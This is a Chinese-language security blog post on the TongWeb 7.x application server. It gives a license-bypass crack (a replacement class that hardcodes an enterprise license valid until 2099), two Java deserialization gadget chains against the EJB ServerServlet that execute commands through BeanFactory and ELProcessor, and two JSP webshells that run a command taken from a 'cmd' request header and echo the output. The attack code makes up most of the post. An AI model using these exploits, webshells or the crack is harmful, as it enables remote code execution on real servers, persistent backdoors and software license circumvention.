前言
整理一下TongWeb 7.x的破解方法、反序列化链子,回显cmd.jsp、TongWeb MemSHELL SCANNER。
开始学习
破解
TongWeb在部署的时候是需要license.dat,网上找了一圈没找到。也就只能破解了。
一开始的思路是看能不能伪造一个license.dat、后面发现不太行。
原因我TongWeb.jar里面只有公钥文件,也就是图中的tongweb.jar/com/tongtech/flag/K文件
这个公钥K文件的作用是用来解密license.dat,并返回一个证书授权的相关信息。

也就是说缺少私钥文件对授权信息进行加密。

所以一开始我的想法就是直接固定解密算法的返回值,这样就行了。后面发现启动过程中还有要对证书文件进行读取的逻辑。把我整懵逼了。
过了几天才发现是自己傻逼了,看了一遍启动流程。
直接贴破解的方法好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package com.tongweb.catalina.startup; import java.io.File; import java.util.Hashtable; final class f { private static String a = null; private static String b = null; private static String c = null; private static String d = null; private static String e = null; private static String f = "0.0"; private static String g = null; private static String h = null; static final String a() { a = "安全测试"; b = "安全测试"; c = "1999-01-01"; d = "2099-12-31"; e = "TongWeb"; f = "7.0"; g = "Enterprise"; h = ""; return e; } static final String b() { return g; } static final String c() { return f; } static final String d() { return a; } static final String e() { return b; } static final String f() { return c; } static final String g() { return d; } static final String h() { return h; } }
|
编译以后替换tongweb里面的这个f类就行。
再次启动就可以了。

ejb反序列化【老洞】
官网下载补丁看一下,就知道是ServerServlet有问题
然后jadx搜一下ServerServlet,就知道它是在com.tongweb.tomee.catalina.remote.TomEERemoteWebapp这里被注册的。

链子
BadAttributeValueExpException
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getDeclaredConstructor()); sc.setAccessible(true); Context o = (Context) sc.newInstance(); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"com.tongweb.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=eval")); String code = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"calc\")');"; ref.add(new StringRefAddr("x", code)); ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("T14264703621033", ref, o); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); setAccessible(valfield); valfield.set(val, readOnlyBinding); oos.writeObject(val);
|
EventListenerList
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getDeclaredConstructor()); sc.setAccessible(true); Context o = (Context) sc.newInstance(); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "com.tongweb.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval"));
String code = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"calc\")');"; ref.add(new StringRefAddr("x", code)); ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("T14264703621033", ref, o);
UndoManager manager = new UndoManager(); Field editsField = CompoundEdit.class.getDeclaredField("edits"); setAccessible(editsField); Vector edits = (Vector) editsField.get(manager); edits.add(readOnlyBinding);
Field listenerListField = EventListenerList.class.getDeclaredField("listenerList"); setAccessible(listenerListField); listenerListField.set(eventListenerList, new Object[]{String.class, manager}); oos.writeObject(eventListenerList);
|
其他
用java-chain简单改了一下,发现有这些好像可以打。没尝试。

TongWeb 回显1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% try { Object obj = Thread.currentThread(); java.lang.reflect.Field f = null; Class<?> c = obj.getClass(); while (c != Object.class) { try { f = c.getDeclaredField("target"); c = Object.class; } catch (Exception e) { c = c.getSuperclass(); } } f.setAccessible(true); obj = f.get(obj); c = obj.getClass(); f = null; while (c != Object.class) { try { f = c.getDeclaredField("wrappedRunnable"); c = Object.class; } catch (Exception e) { c = c.getSuperclass(); } } f.setAccessible(true); Object worker = f.get(obj); c = worker.getClass(); f = null; while (c != Object.class) { try { f = c.getDeclaredField("thread"); c = Object.class; } catch (Exception e) { c = c.getSuperclass(); } } f.setAccessible(true); Thread t = (Thread) f.get(worker); Class<?> cls = Class.forName("com.tongweb.tomee.catalina.OpenEJBSecurityListener"); f = cls.getDeclaredField("requests"); f.setAccessible(true); Object tl = f.get(null); java.lang.reflect.Method gm = tl.getClass().getDeclaredMethod("getMap", Thread.class); gm.setAccessible(true); Object map = gm.invoke(tl, t); if (map == null) return; java.lang.reflect.Method ge = map.getClass().getDeclaredMethod("getEntry", tl.getClass()); ge.setAccessible(true); Object entry = ge.invoke(map, tl); if (entry == null) return; f = entry.getClass().getDeclaredField("value"); f.setAccessible(true); Object req = f.get(entry); String cmd = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "cmd"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; java.lang.Process p = new java.lang.ProcessBuilder(cmds).redirectErrorStream(true).start(); java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream(), "UTF-8")); java.lang.StringBuilder sb = new java.lang.StringBuilder(); String line; while ((line = br.readLine()) != null) sb.append(line).append("\n"); br.close(); p.waitFor(); Object resp = req.getClass().getMethod("getResponse").invoke(req); java.io.PrintWriter w = (java.io.PrintWriter) resp.getClass().getMethod("getWriter").invoke(resp); w.print(sb.toString()); w.flush(); } catch (Exception e) { }%>
|
TongWeb回显2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <% boolean flag = false; javax.management.MBeanServer mbeanServer = com.tongweb.web.util.modeler.Registry.getRegistry((Object) null, (Object) null).getMBeanServer(); java.lang.reflect.Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer); field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); com.sun.jmx.mbeanserver.Repository repository = (com.sun.jmx.mbeanserver.Repository) field.get(obj); java.util.Set<com.sun.jmx.mbeanserver.NamedObject> objectSet = repository.query(new javax.management.ObjectName("TONGWEB:type=GlobalRequestProcessor,*"), null); for (com.sun.jmx.mbeanserver.NamedObject namedObject : objectSet) { javax.management.DynamicMBean dynamicMBean = namedObject.getObject(); field = Class.forName("com.tongweb.web.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); obj = field.get(dynamicMBean); field = Class.forName("com.tongweb.coyote.RequestGroupInfo").getDeclaredField("processors"); field.setAccessible(true); java.util.ArrayList procssors = (java.util.ArrayList) field.get(obj); field = Class.forName("com.tongweb.coyote.RequestInfo").getDeclaredField("req"); field.setAccessible(true); for (int i = 0; i < procssors.size(); i++) { com.tongweb.coyote.Request req = (com.tongweb.coyote.Request) field.get(procssors.get(i)); String cmd = req.getHeader("cmd"); if (cmd != null && !cmd.isEmpty()) { String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes(); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]); try { Class cls = Class.forName("com.tongweb.web.util.buf.ByteChunk"); obj = cls.newInstance(); cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } catch (NoSuchMethodException var5) { Class cls = Class.forName("java.nio.ByteBuffer"); obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } flag = true; } if (flag) break; } }%>
|